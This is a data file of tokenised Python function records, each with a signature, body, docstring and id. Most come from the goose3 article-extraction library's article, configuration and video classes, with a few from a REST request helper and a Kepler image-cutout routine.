{"signature": "@property<EOL><INDENT>def authors(self):<DEDENT>", "body": "return self._authors<EOL>", "docstring": "list(str): A listing of authors as parsed from the meta tags\n\n            Note:\n                Read only", "id": "f14091:c0:m17"}
{"signature": "@property<EOL><INDENT>def final_url(self):<DEDENT>", "body": "return self._final_url<EOL>", "docstring": "str: The URL that was used to pull and parsed; `None` if raw_html was used\n            and no url element was found.\n\n            Note:\n                Read only", "id": "f14091:c0:m18"}
{"signature": "@property<EOL><INDENT>def link_hash(self):<DEDENT>", "body": "return self._link_hash<EOL>", "docstring": "str: The MD5 of the final url to be used for various identification tasks\n\n            Note:\n                Read only", "id": "f14091:c0:m19"}
{"signature": "@property<EOL><INDENT>def raw_html(self):<DEDENT>", "body": "return self._raw_html<EOL>", "docstring": "str: The HTML represented as a string\n\n            Note:\n                Read only", "id": "f14091:c0:m20"}
{"signature": "@property<EOL><INDENT>def doc(self):<DEDENT>", "body": "return self._doc<EOL>", "docstring": "etree: lxml document that is being processed\n\n            Note:\n                Read only", "id": "f14091:c0:m21"}
{"signature": "@property<EOL><INDENT>def raw_doc(self):<DEDENT>", "body": "return self._raw_doc<EOL>", "docstring": "etree: Original, uncleaned, and untouched lxml document to be processed\n\n            Note:\n                Read only", "id": "f14091:c0:m22"}
{"signature": "@property<EOL><INDENT>def schema(self):<DEDENT>", "body": "return self._schema<EOL>", "docstring": "dict: All schema tag data\n\n            Note:\n                Read only", "id": "f14091:c0:m23"}
{"signature": "@property<EOL><INDENT>def publish_date(self):<DEDENT>", "body": "return self._publish_date<EOL>", "docstring": "str: The date the article was published based on meta tag extraction\n\n            Note:\n                Read only", "id": "f14091:c0:m24"}
{"signature": "@property<EOL><INDENT>def publish_datetime_utc(self):<DEDENT>", "body": "return self._publish_datetime_utc<EOL>", "docstring": "datetime.datetime: The date time version of the published date based on meta tag extraction \\\n            in the UTC timezone, if timezone information is known\n\n            Note:\n                Read only", "id": "f14091:c0:m25"}
{"signature": "@property<EOL><INDENT>def additional_data(self):<DEDENT>", "body": "return self._additional_data<EOL>", "docstring": "dict: A property bucket for consumers of goose3 to store custom data extractions\n\n            Note:\n                Read only", "id": "f14091:c0:m26"}
{"signature": "@property<EOL><INDENT>def infos(self):<DEDENT>", "body": "data = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:description>\": self.meta_description,<EOL>\"<STR_LIT>\": self.meta_lang,<EOL>\"<STR_LIT>\": self.meta_keywords,<EOL>\"<STR_LIT>\": self.meta_favicon,<EOL>\"<STR_LIT>\": self.canonical_link,<EOL>\"<STR_LIT>\": self.meta_encoding<EOL>},<EOL>\"<STR_LIT:image>\": None,<EOL>\"<STR_LIT>\": self.domain,<EOL>\"<STR_LIT:title>\": self.title,<EOL>\"<STR_LIT>\": self.cleaned_text,<EOL>\"<STR_LIT>\": self.opengraph,<EOL>\"<STR_LIT>\": self.tags,<EOL>\"<STR_LIT>\": self.tweets,<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": self.links,<EOL>\"<STR_LIT>\": self.authors,<EOL>\"<STR_LIT>\": self.publish_date<EOL>}<EOL>if self.top_image is not None:<EOL><INDENT>data['<STR_LIT:image>'] = {<EOL>'<STR_LIT:url>': self.top_image.src,<EOL>'<STR_LIT:width>': self.top_image.width,<EOL>'<STR_LIT>': self.top_image.height,<EOL>'<STR_LIT:type>': '<STR_LIT:image>'<EOL>}<EOL><DEDENT>for movie in self.movies:<EOL><INDENT>data['<STR_LIT>'].append({<EOL>'<STR_LIT>': movie.embed_type,<EOL>'<STR_LIT>': movie.provider,<EOL>'<STR_LIT:width>': movie.width,<EOL>'<STR_LIT>': movie.height,<EOL>'<STR_LIT>': movie.embed_code,<EOL>'<STR_LIT:src>': movie.src,<EOL>})<EOL><DEDENT>return data<EOL>", "docstring": "dict: The summation of all data available about the extracted article\n\n            Note:\n                Read only", "id": "f14091:c0:m27"}
{"signature": "@property<EOL><INDENT>def known_context_patterns(self):<DEDENT>", "body": "return self._known_context_patterns<EOL>", "docstring": "list: The context patterns to search to find the likely article content\n\n            Note:\n                Each entry must be a dictionary with the following keys: `attr` and `value` \\\n                or just `tag`", "id": "f14092:c3:m1"}
{"signature": "@known_context_patterns.setter<EOL><INDENT>def known_context_patterns(self, val):<DEDENT>", "body": "def create_pat_from_dict(val):<EOL><INDENT>'''<STR_LIT>'''<EOL>if \"<STR_LIT>\" in val:<EOL><INDENT>pat = ArticleContextPattern(tag=val[\"<STR_LIT>\"])<EOL>if \"<STR_LIT>\" in val:<EOL><INDENT>pat.attr = val[\"<STR_LIT>\"]<EOL>pat.value = val[\"<STR_LIT:value>\"]<EOL><DEDENT><DEDENT>elif \"<STR_LIT>\" in val:<EOL><INDENT>pat = ArticleContextPattern(attr=val[\"<STR_LIT>\"], value=val[\"<STR_LIT:value>\"])<EOL><DEDENT>if \"<STR_LIT>\" in val:<EOL><INDENT>pat.domain = val[\"<STR_LIT>\"]<EOL><DEDENT>return pat<EOL><DEDENT>if isinstance(val, list):<EOL><INDENT>self._known_context_patterns = [<EOL>x if isinstance(x, ArticleContextPattern) else create_pat_from_dict(x)<EOL>for x in val<EOL>] + self.known_context_patterns<EOL><DEDENT>elif isinstance(val, ArticleContextPattern):<EOL><INDENT>self._known_context_patterns.insert(<NUM_LIT:0>, val)<EOL><DEDENT>elif isinstance(val, dict):<EOL><INDENT>self._known_context_patterns.insert(<NUM_LIT:0>, create_pat_from_dict(val))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(type(val)))<EOL><DEDENT>", "docstring": "val must be an ArticleContextPattern, a dictionary, or list of \\\n            dictionaries\n            e.g., {'attr': 'class', 'value': 'my-article-class'}\n                or [{'attr': 'class', 'value': 'my-article-class'},\n                    {'attr': 'id', 'value': 'my-article-id'}]", "id": "f14092:c3:m2"}
{"signature": "@property<EOL><INDENT>def known_publish_date_tags(self):<DEDENT>", "body": "return self._known_publish_date_tags<EOL>", "docstring": "list: The tags to search to find the likely published date\n\n            Note:\n                Each entry must be a dictionary with the following keys: `attribute`, `value`, \\\n                and `content`.", "id": "f14092:c3:m3"}
{"signature": "@known_publish_date_tags.setter<EOL><INDENT>def known_publish_date_tags(self, val):<DEDENT>", "body": "def create_pat_from_dict(val):<EOL><INDENT>'''<STR_LIT>'''<EOL>if \"<STR_LIT>\" in val:<EOL><INDENT>pat = PublishDatePattern(tag=val[\"<STR_LIT>\"])<EOL>if \"<STR_LIT>\" in val:<EOL><INDENT>pat.attr = val[\"<STR_LIT>\"]<EOL>pat.value = val[\"<STR_LIT:value>\"]<EOL><DEDENT><DEDENT>elif \"<STR_LIT>\" in val:<EOL><INDENT>pat = PublishDatePattern(attr=val[\"<STR_LIT>\"], value=val[\"<STR_LIT:value>\"],<EOL>content=val[\"<STR_LIT:content>\"])<EOL>if \"<STR_LIT>\" in val:<EOL><INDENT>pat.subcontent = val[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in val:<EOL><INDENT>pat.domain = val[\"<STR_LIT>\"]<EOL><DEDENT>return pat<EOL><DEDENT>if isinstance(val, list):<EOL><INDENT>self._known_publish_date_tags = [<EOL>x if isinstance(x, PublishDatePattern) else create_pat_from_dict(x)<EOL>for x in val<EOL>] + self.known_publish_date_tags<EOL><DEDENT>elif isinstance(val, PublishDatePattern):<EOL><INDENT>self._known_publish_date_tags.insert(<NUM_LIT:0>, val)<EOL><DEDENT>elif isinstance(val, dict):<EOL><INDENT>self._known_publish_date_tags.insert(<NUM_LIT:0>, create_pat_from_dict(val))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(type(val)))<EOL><DEDENT>", "docstring": "val must be a dictionary or list of dictionaries\n            e.g., {'attrribute': 'name', 'value': 'my-pubdate', 'content': 'datetime'}\n                or [{'attrribute': 'name', 'value': 'my-pubdate', 'content': 'datetime'},\n                    {'attrribute': 'property', 'value': 'pub_time', 'content': 'content'}]", "id": "f14092:c3:m4"}
{"signature": "@property<EOL><INDENT>def known_author_patterns(self):<DEDENT>", "body": "return self._known_author_patterns<EOL>", "docstring": "list: The tags to search to find the likely published date\n\n            Note:\n                Each entry must be a dictionary with the following keys: `attribute`, `value`, \\\n                and `content`.", "id": "f14092:c3:m5"}
{"signature": "@known_author_patterns.setter<EOL><INDENT>def known_author_patterns(self, val):<DEDENT>", "body": "def create_pat_from_dict(val):<EOL><INDENT>'''<STR_LIT>'''<EOL>if \"<STR_LIT>\" in val:<EOL><INDENT>pat = AuthorPattern(tag=val[\"<STR_LIT>\"])<EOL>if \"<STR_LIT>\" in val:<EOL><INDENT>pat.attr = val[\"<STR_LIT>\"]<EOL>pat.value = val[\"<STR_LIT:value>\"]<EOL><DEDENT><DEDENT>elif \"<STR_LIT>\" in val:<EOL><INDENT>pat = AuthorPattern(attr=val[\"<STR_LIT>\"], value=val[\"<STR_LIT:value>\"],<EOL>content=val[\"<STR_LIT:content>\"])<EOL><DEDENT>if \"<STR_LIT>\" in val:<EOL><INDENT>pat.subpattern = create_pat_from_dict(val[\"<STR_LIT>\"])<EOL><DEDENT>return pat<EOL><DEDENT>if isinstance(val, list):<EOL><INDENT>self._known_author_patterns = [<EOL>x if isinstance(x, AuthorPattern) else create_pat_from_dict(x)<EOL>for x in val<EOL>] + self.known_author_patterns<EOL><DEDENT>elif isinstance(val, AuthorPattern):<EOL><INDENT>self._known_author_patterns.insert(<NUM_LIT:0>, val)<EOL><DEDENT>elif isinstance(val, dict):<EOL><INDENT>self._known_author_patterns.insert(<NUM_LIT:0>, create_pat_from_dict(val))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(type(val)))<EOL><DEDENT>", "docstring": "val must be a dictionary or list of dictionaries\n            e.g., {'attrribute': 'name', 'value': 'my-pubdate', 'content': 'datetime'}\n                or [{'attrribute': 'name', 'value': 'my-pubdate', 'content': 'datetime'},\n                    {'attrribute': 'property', 'value': 'pub_time', 'content': 'content'}]", "id": "f14092:c3:m6"}
{"signature": "@property<EOL><INDENT>def strict(self):<DEDENT>", "body": "return self._strict<EOL>", "docstring": "bool: Enable `strict mode` and throw exceptions instead of\n            swallowing them.\n\n            Note:\n                Defaults to `True`", "id": "f14092:c3:m7"}
{"signature": "@strict.setter<EOL><INDENT>def strict(self, val):<DEDENT>", "body": "self._strict = bool(val)<EOL>", "docstring": "set the strict property", "id": "f14092:c3:m8"}
{"signature": "@property<EOL><INDENT>def http_timeout(self):<DEDENT>", "body": "return self._http_timeout<EOL>", "docstring": "float: The time delay to pass to `requests` to wait for the response\n            in seconds\n\n            Note:\n                Defaults to 30.0", "id": "f14092:c3:m9"}
{"signature": "@http_timeout.setter<EOL><INDENT>def http_timeout(self, val):<DEDENT>", "body": "self._http_timeout = float(val)<EOL>", "docstring": "set the http_timeout property", "id": "f14092:c3:m10"}
{"signature": "@property<EOL><INDENT>def local_storage_path(self):<DEDENT>", "body": "return self._local_storage_path<EOL>", "docstring": "str: The local path to store temporary files\n\n            Note:\n                Defaults to the value of `os.path.join(tempfile.gettempdir(), 'goose')`", "id": "f14092:c3:m11"}
{"signature": "@local_storage_path.setter<EOL><INDENT>def local_storage_path(self, val):<DEDENT>", "body": "self._local_storage_path = val<EOL>", "docstring": "set the local_storage_path property", "id": "f14092:c3:m12"}
{"signature": "@property<EOL><INDENT>def debug(self):<DEDENT>", "body": "return self._debug<EOL>", "docstring": "bool: Turn on or off debugging\n\n            Note:\n                Defaults to `False`\n            Warning:\n                Debugging is currently not implemented", "id": "f14092:c3:m13"}
{"signature": "@debug.setter<EOL><INDENT>def debug(self, val):<DEDENT>", "body": "self._debug = bool(val)<EOL>", "docstring": "set the debug property", "id": "f14092:c3:m14"}
{"signature": "@property<EOL><INDENT>def parser_class(self):<DEDENT>", "body": "return self._parser_class<EOL>", "docstring": "str: The key of the parser to use\n\n            Note:\n                Defaults to `lxml`", "id": "f14092:c3:m15"}
{"signature": "@parser_class.setter<EOL><INDENT>def parser_class(self, val):<DEDENT>", "body": "self._parser_class = val<EOL>", "docstring": "set the parser_class property", "id": "f14092:c3:m16"}
{"signature": "@property<EOL><INDENT>def available_parsers(self):<DEDENT>", "body": "return self._available_parsers<EOL>", "docstring": "list(str): A list of all possible parser values for the parser_class\n\n            Note:\n                Not settable", "id": "f14092:c3:m17"}
{"signature": "@property<EOL><INDENT>def http_auth(self):<DEDENT>", "body": "return self._http_auth<EOL>", "docstring": "tuple: Authentication class and information to pass to the requests\n            library\n\n            See Also:\n                `Requests Authentication <http://docs.python-requests.org/en/master/user/authentication/>`__", "id": "f14092:c3:m18"}
{"signature": "@http_auth.setter<EOL><INDENT>def http_auth(self, val):<DEDENT>", "body": "self._http_auth = val<EOL>", "docstring": "set the http_auth property", "id": "f14092:c3:m19"}
{"signature": "@property<EOL><INDENT>def http_proxies(self):<DEDENT>", "body": "return self._http_proxies<EOL>", "docstring": "dict: Proxy information to pass directly to the supporting `requests` object\n\n            See Also:\n                `Requests Proxy Support <http://docs.python-requests.org/en/master/user/advanced/#proxies>`__", "id": "f14092:c3:m20"}
{"signature": "@http_proxies.setter<EOL><INDENT>def http_proxies(self, val):<DEDENT>", "body": "self._http_proxies = val<EOL>", "docstring": "set the http_proxies property", "id": "f14092:c3:m21"}
{"signature": "@property<EOL><INDENT>def http_headers(self):<DEDENT>", "body": "return self._http_headers<EOL>", "docstring": "dict: Custom headers to pass directly to the supporting `requests` object\n\n            See Also:\n                `Requests Custom Headers <http://docs.python-requests.org/en/master/user/quickstart/#custom-headers>`__", "id": "f14092:c3:m22"}
{"signature": "@http_headers.setter<EOL><INDENT>def http_headers(self, val):<DEDENT>", "body": "self._http_headers = val<EOL>", "docstring": "set the http_headers property", "id": "f14092:c3:m23"}
{"signature": "@property<EOL><INDENT>def browser_user_agent(self):<DEDENT>", "body": "return self._browser_user_agent<EOL>", "docstring": "Browser user agent string to use when making URL requests\n\n            Note:\n                Defaults to `Goose/{goose3.__version__}`\n\n            Examples:\n                Using the non-standard browser agent string is advised when pulling\n                frequently\n\n                >>> config.browser_user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)'\n                >>> config.browser_user_agent = 'AppleWebKit/534.52.7 (KHTML, like Gecko)'\n                >>> config.browser_user_agent = 'Version/5.1.2 Safari/534.52.7'", "id": "f14092:c3:m24"}
{"signature": "@browser_user_agent.setter<EOL><INDENT>def browser_user_agent(self, val):<DEDENT>", "body": "self._browser_user_agent = val<EOL>", "docstring": "set the browser user agent string", "id": "f14092:c3:m25"}
{"signature": "@property<EOL><INDENT>def imagemagick_identify_path(self):<DEDENT>", "body": "return self._imagemagick_identify_path<EOL>", "docstring": "str: Path to the identify program that is part of imagemagick\n\n            Note:\n                Defaults to `\"/opt/local/bin/identify\"`\n            Warning:\n                Currently not used / implemented", "id": "f14092:c3:m26"}
{"signature": "@imagemagick_identify_path.setter<EOL><INDENT>def imagemagick_identify_path(self, val):<DEDENT>", "body": "self._imagemagick_identify_path = val<EOL>", "docstring": "set the imagemagick identify program path", "id": "f14092:c3:m27"}
{"signature": "@property<EOL><INDENT>def imagemagick_convert_path(self):<DEDENT>", "body": "return self._imagemagick_convert_path<EOL>", "docstring": "str: Path to the convert program that is part of imagemagick\n\n            Note:\n                Defaults to `\"/opt/local/bin/convert\"`\n            Warning:\n                Currently not used / implemented", "id": "f14092:c3:m28"}
{"signature": "@imagemagick_convert_path.setter<EOL><INDENT>def imagemagick_convert_path(self, val):<DEDENT>", "body": "self._imagemagick_convert_path = val<EOL>", "docstring": "set the imagemagick convert program path", "id": "f14092:c3:m29"}
{"signature": "@property<EOL><INDENT>def stopwords_class(self):<DEDENT>", "body": "return self._stopwords_class<EOL>", "docstring": "StopWords: The StopWords class to use when analyzing article content\n\n            Note:\n                Defaults to the english stop words\n            Note:\n                Current stop words available in `goose3.text` include: \\n\n                `StopWords`, `StopWordsChinese`, `StopWordsArabic`, and `StopWordsKorean`", "id": "f14092:c3:m30"}
{"signature": "@stopwords_class.setter<EOL><INDENT>def stopwords_class(self, val):<DEDENT>", "body": "<EOL>self._stopwords_class = val<EOL>", "docstring": "set the stopwords class to use", "id": "f14092:c3:m31"}
{"signature": "@property<EOL><INDENT>def target_language(self):<DEDENT>", "body": "return self._target_language<EOL>", "docstring": "str: The default target language if the language is not extractable\n            or if use_meta_language is set to False\n\n            Note:\n                Default language is 'en'", "id": "f14092:c3:m32"}
{"signature": "@target_language.setter<EOL><INDENT>def target_language(self, val):<DEDENT>", "body": "self._target_language = val<EOL>", "docstring": "set the target language property", "id": "f14092:c3:m33"}
{"signature": "@property<EOL><INDENT>def use_meta_language(self):<DEDENT>", "body": "return self._use_meta_language<EOL>", "docstring": "bool: Determine if language should be extracted from the meta tags\n            or not. If this is set to `False` then the target_language will be\n            used. Also, if extraction fails then the target_language will be\n            utilized.\n\n            Note:\n                Defaults to `True`", "id": "f14092:c3:m34"}
{"signature": "@use_meta_language.setter<EOL><INDENT>def use_meta_language(self, val):<DEDENT>", "body": "self._use_meta_language = bool(val)<EOL>", "docstring": "set the use_meta_language property", "id": "f14092:c3:m35"}
{"signature": "@property<EOL><INDENT>def enable_image_fetching(self):<DEDENT>", "body": "return self._enable_image_fetching<EOL>", "docstring": "bool: Turn on or off image extraction\n\n            Note:\n                Defaults to `False`", "id": "f14092:c3:m36"}
{"signature": "@enable_image_fetching.setter<EOL><INDENT>def enable_image_fetching(self, val):<DEDENT>", "body": "self._enable_image_fetching = bool(val)<EOL>", "docstring": "set the enable_image_fetching property", "id": "f14092:c3:m37"}
{"signature": "@property<EOL><INDENT>def images_min_bytes(self):<DEDENT>", "body": "return self._images_min_bytes<EOL>", "docstring": "int: Minimum number of bytes for an image to be evaluated to be the\n            main image of the site\n\n            Note:\n                Defaults to 4500 bytes", "id": "f14092:c3:m38"}
{"signature": "@images_min_bytes.setter<EOL><INDENT>def images_min_bytes(self, val):<DEDENT>", "body": "self._images_min_bytes = int(val)<EOL>", "docstring": "set the images_min_bytes property", "id": "f14092:c3:m39"}
{"signature": "@property<EOL><INDENT>def pretty_lists(self):<DEDENT>", "body": "return self._pretty_lists<EOL>", "docstring": "bool: Specify if lists should be pretty printed in the cleaned_text\n            output\n\n            Note:\n                Defaults to `True`", "id": "f14092:c3:m40"}
{"signature": "@pretty_lists.setter<EOL><INDENT>def pretty_lists(self, val):<DEDENT>", "body": "self._pretty_lists = bool(val)<EOL>", "docstring": "set if lists should be pretty printed", "id": "f14092:c3:m41"}
{"signature": "@parse_lists.setter<EOL><INDENT>def parse_lists(self, val):<DEDENT>", "body": "self._parse_lists = bool(val)<EOL>", "docstring": "set if headers should be parsed", "id": "f14092:c3:m43"}
{"signature": "@property<EOL><INDENT>def parse_headers(self):<DEDENT>", "body": "return self._parse_headers<EOL>", "docstring": "bool: Specify if headers should be pulled or not in the cleaned_text\n            output\n\n            Note:\n                Defaults to `True`", "id": "f14092:c3:m44"}
{"signature": "@parse_headers.setter<EOL><INDENT>def parse_headers(self, val):<DEDENT>", "body": "self._parse_headers = bool(val)<EOL>", "docstring": "set if headers should be parsed", "id": "f14092:c3:m45"}
{"signature": "def get_parser(self):", "body": "return AVAILABLE_PARSERS[self.parser_class]<EOL>", "docstring": "Retrieve the current parser class to use for extraction\n\n            Returns:\n                Parser: The parser to use", "id": "f14092:c3:m46"}
{"signature": "def __enter__(self):", "body": "return self<EOL>", "docstring": "Setup the context manager", "id": "f14093:c0:m1"}
{"signature": "def __exit__(self, exc_type, exc_val, exc_tb):", "body": "self.close()<EOL>", "docstring": "Define what to do when the context manager exits", "id": "f14093:c0:m2"}
{"signature": "def close(self):", "body": "if self.fetcher is not None:<EOL><INDENT>self.shutdown_network()<EOL><DEDENT>self.finalizer.atexit = False<EOL>", "docstring": "Close the network connection and perform any other required cleanup\n\n            Note:\n                Auto closed when using goose as a context manager or when garbage collected", "id": "f14093:c0:m3"}
{"signature": "def extract(self, url=None, raw_html=None):", "body": "crawl_candidate = CrawlCandidate(self.config, url, raw_html)<EOL>return self.__crawl(crawl_candidate)<EOL>", "docstring": "Extract the most likely article content from the html page\n\n            Args:\n                url (str): URL to pull and parse\n                raw_html (str): String representation of the HTML page\n            Returns:\n                Article: Representation of the article contents \\\n                including other parsed and extracted metadata", "id": "f14093:c0:m4"}
{"signature": "def shutdown_network(self):", "body": "self.fetcher.close()<EOL>self.fetcher = None<EOL>", "docstring": "Close the network connection\n\n            Note:\n                Auto closed when using goose as a context manager or when garbage collected", "id": "f14093:c0:m5"}
{"signature": "def __crawl(self, crawl_candidate):", "body": "def crawler_wrapper(parser, parsers_lst, crawl_candidate):<EOL><INDENT>try:<EOL><INDENT>crawler = Crawler(self.config, self.fetcher)<EOL>article = crawler.crawl(crawl_candidate)<EOL><DEDENT>except (UnicodeDecodeError, ValueError) as ex:<EOL><INDENT>if parsers_lst:<EOL><INDENT>parser = parsers_lst.pop(<NUM_LIT:0>)  <EOL>return crawler_wrapper(parser, parsers_lst, crawl_candidate)<EOL><DEDENT>else:<EOL><INDENT>raise ex<EOL><DEDENT><DEDENT>return article<EOL><DEDENT>parsers = list(self.config.available_parsers)<EOL>parsers.remove(self.config.parser_class)<EOL>return crawler_wrapper(self.config.parser_class, parsers, crawl_candidate)<EOL>", "docstring": "wrap the crawling functionality", "id": "f14093:c0:m6"}
{"signature": "@property<EOL><INDENT>def embed_type(self):<DEDENT>", "body": "return self._embed_type<EOL>", "docstring": "str: The type of embeding such as embed, object, or iframe\n\n            Note:\n                Read only", "id": "f14095:c0:m1"}
{"signature": "@property<EOL><INDENT>def provider(self):<DEDENT>", "body": "return self._provider<EOL>", "docstring": "str: The video provider\n\n            Note:\n                Read only", "id": "f14095:c0:m2"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self._width<EOL>", "docstring": "int: The video width in pixels\n\n            Note:\n                Read only", "id": "f14095:c0:m3"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self._height<EOL>", "docstring": "int: The video height in pixels\n\n            Note:\n                Read only", "id": "f14095:c0:m4"}
{"signature": "@property<EOL><INDENT>def embed_code(self):<DEDENT>", "body": "return self._embed_code<EOL>", "docstring": "str: The embed code of the video\n\n            Note:\n                Read only", "id": "f14095:c0:m5"}
{"signature": "@property<EOL><INDENT>def src(self):<DEDENT>", "body": "return self._src<EOL>", "docstring": "str: The URL source of the video\n\n            Note:\n                Read only", "id": "f14095:c0:m6"}
{"signature": "def read_file(filepath):", "body": "with open(filepath, '<STR_LIT:r>') as filepointer:<EOL><INDENT>res = filepointer.read()<EOL><DEDENT>return res<EOL>", "docstring": "read the file", "id": "f14099:m0"}
{"signature": "def get_html_theme_path():", "body": "cur_dir = path.abspath(path.dirname(path.dirname(__file__)))<EOL>return cur_dir<EOL>", "docstring": "Return list of HTML theme paths.", "id": "f14100:m0"}
{"signature": "def get_param_values(request, model=None):", "body": "if type(request) == dict:<EOL><INDENT>return request<EOL><DEDENT>params = get_payload(request)<EOL>try:<EOL><INDENT>del params['<STR_LIT>']<EOL>params[params.pop('<STR_LIT:name>')] = params.pop('<STR_LIT:value>')<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return {<EOL>k.rstrip('<STR_LIT>'): safe_eval(v) if not type(v) == list else [safe_eval(sv) for sv in v]<EOL>for k, v in params.items()<EOL>}<EOL>", "docstring": "Converts the request parameters to Python.\n\n:param request: <pyramid.request.Request> || <dict>\n\n:return: <dict>", "id": "f14110:m0"}
{"signature": "def get_context(request, model=None):", "body": "<EOL>param_values = get_param_values(request, model=model)<EOL>context = param_values.pop('<STR_LIT>', {})<EOL>if isinstance(context, (unicode, str)):<EOL><INDENT>context = projex.rest.unjsonify(context)<EOL><DEDENT>has_limit = '<STR_LIT>' in context or '<STR_LIT>' in param_values<EOL>orb_context = orb.Context(**context)<EOL>used = set()<EOL>query_context = {}<EOL>for key in orb.Context.Defaults:<EOL><INDENT>if key in param_values:<EOL><INDENT>used.add(key)<EOL>query_context[key] = param_values.get(key)<EOL><DEDENT><DEDENT>schema_values = {}<EOL>if model:<EOL><INDENT>for key, value in request.matchdict.items():<EOL><INDENT>if model.schema().column(key, raise_=False):<EOL><INDENT>schema_values[key] = value<EOL><DEDENT><DEDENT>for key, value in param_values.items():<EOL><INDENT>root_key = key.split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>schema_object = model.schema().column(root_key, raise_=False) or model.schema().collector(root_key)<EOL>if schema_object:<EOL><INDENT>value = param_values.pop(key)<EOL>if isinstance(schema_object, orb.Collector) and type(value) not in (tuple, list):<EOL><INDENT>value = [value]<EOL><DEDENT>schema_values[key] = value<EOL><DEDENT><DEDENT><DEDENT>query_context['<STR_LIT>'] = {<EOL>'<STR_LIT>': request<EOL>}<EOL>try:<EOL><INDENT>default_context = request.orb_default_context<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>query_context['<STR_LIT>'].update(request.orb_scope)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in default_context:<EOL><INDENT>query_context['<STR_LIT>'].update(default_context.pop('<STR_LIT>'))<EOL><DEDENT>for k, v in default_context.items():<EOL><INDENT>query_context.setdefault(k, v)<EOL><DEDENT><DEDENT>orb_context.update(query_context)<EOL>return schema_values, orb_context<EOL>", "docstring": "Extracts ORB context information from the request.\n\n:param request: <pyramid.request.Request>\n:param model: <orb.Model> || None\n\n:return: {<str> key: <variant> value} values, <orb.Context>", "id": "f14110:m1"}
{"signature": "def register(self, service, name='<STR_LIT>'):", "body": "try:<EOL><INDENT>is_model = issubclass(service, orb.Model)<EOL><DEDENT>except StandardError:<EOL><INDENT>is_model = False<EOL><DEDENT>if is_model:<EOL><INDENT>self.services[service.schema().dbname()] = (ModelService, service)<EOL><DEDENT>else:<EOL><INDENT>super(OrbApiFactory, self).register(service, name=name)<EOL><DEDENT>", "docstring": "Exposes a given service to this API.", "id": "f14114:c0:m2"}
{"signature": "def make_postcard(self, npix=<NUM_LIT>, shape=(<NUM_LIT>, <NUM_LIT>), buffer_size=<NUM_LIT:15>):", "body": "source = self.kic<EOL>client = kplr.API()<EOL>targ = client.target(source)<EOL>channel = [targ.params['<STR_LIT>'], targ.params['<STR_LIT>'], <EOL>targ.params['<STR_LIT>'], targ.params['<STR_LIT>']]<EOL>col = [targ.params['<STR_LIT>'], targ.params['<STR_LIT>'], <EOL>targ.params['<STR_LIT>'], targ.params['<STR_LIT>']] <EOL>row = [targ.params['<STR_LIT>'], targ.params['<STR_LIT>'], <EOL>targ.params['<STR_LIT>'], targ.params['<STR_LIT>']] <EOL>if None in row:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if None in col:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>center = np.array([npix/<NUM_LIT:2>, npix/<NUM_LIT:2>])<EOL>if (np.min(col) < npix/<NUM_LIT:2>):<EOL><INDENT>jump = npix/<NUM_LIT:2> - np.min(col) + buffer_size<EOL>col += jump<EOL>center[<NUM_LIT:1>] -= jump<EOL><DEDENT>if (np.min(row) < npix/<NUM_LIT:2>):<EOL><INDENT>jump = npix/<NUM_LIT:2> - np.min(row) + buffer_size<EOL>row += jump<EOL>center[<NUM_LIT:0>] -= jump<EOL><DEDENT>if (np.max(row) > shape[<NUM_LIT:0>] - npix/<NUM_LIT:2>):<EOL><INDENT>jump = shape[<NUM_LIT:0>]-npix/<NUM_LIT:2> - np.max(row) - buffer_size<EOL>row += jump<EOL>center[<NUM_LIT:0>] -= jump<EOL><DEDENT>if (np.max(col) > shape[<NUM_LIT:1>] - npix/<NUM_LIT:2>):<EOL><INDENT>jump = shape[<NUM_LIT:1>]-npix/<NUM_LIT:2> - np.max(col) - buffer_size<EOL>col += jump<EOL>center[<NUM_LIT:1>] -= jump<EOL><DEDENT>fin_arr = np.zeros((len(self.times), npix, npix))<EOL>for icount, iname in enumerate(self.obs_filenames): <EOL><INDENT>a = fits.open(self.ffi_dir+iname)<EOL>quarter = a[<NUM_LIT:0>].header['<STR_LIT>']<EOL>if int(quarter) == <NUM_LIT:0>:<EOL><INDENT>season = <NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>season = (int(quarter) - <NUM_LIT:2>) % <NUM_LIT:4><EOL><DEDENT>img = a[channel[season]].data<EOL>img -= np.median(img)<EOL>ymin = int(max([int(row[season])-npix/<NUM_LIT:2>,<NUM_LIT:0>]))<EOL>ymax = int(min([int(row[season])+npix/<NUM_LIT:2>,img.shape[<NUM_LIT:0>]]))<EOL>xmin = int(max([int(col[season])-npix/<NUM_LIT:2>,<NUM_LIT:0>]))<EOL>xmax = int(min([int(col[season])+npix/<NUM_LIT:2>,img.shape[<NUM_LIT:1>]]))<EOL>pimg = img[ymin:ymax,xmin:xmax]<EOL>fin_arr[icount,:,:] = pimg<EOL><DEDENT>self.postcard = fin_arr<EOL>self.integrated_postcard = np.sum(self.postcard, axis=<NUM_LIT:0>)<EOL>self.center = center<EOL>", "docstring": "Develop a \"postcard\" region around the target star.\nOther stars in this postcard will be used as possible reference stars.\n\nArgs: \n    npix: The size of the postcard region. The region will be a square with sides npix pixels\n        (default: ``300``)\n    shape: The size of each individual image. For Kepler/K2 FFIs this should never need to be\n        changed from the default, but will be different for e.g. TESS FFIs (default: ``(1070, 1132)``)\n    buffer_size: The number of pixels at the edge of the detector to avoid (default: ``15``)", "id": "f14117:c0:m1"}
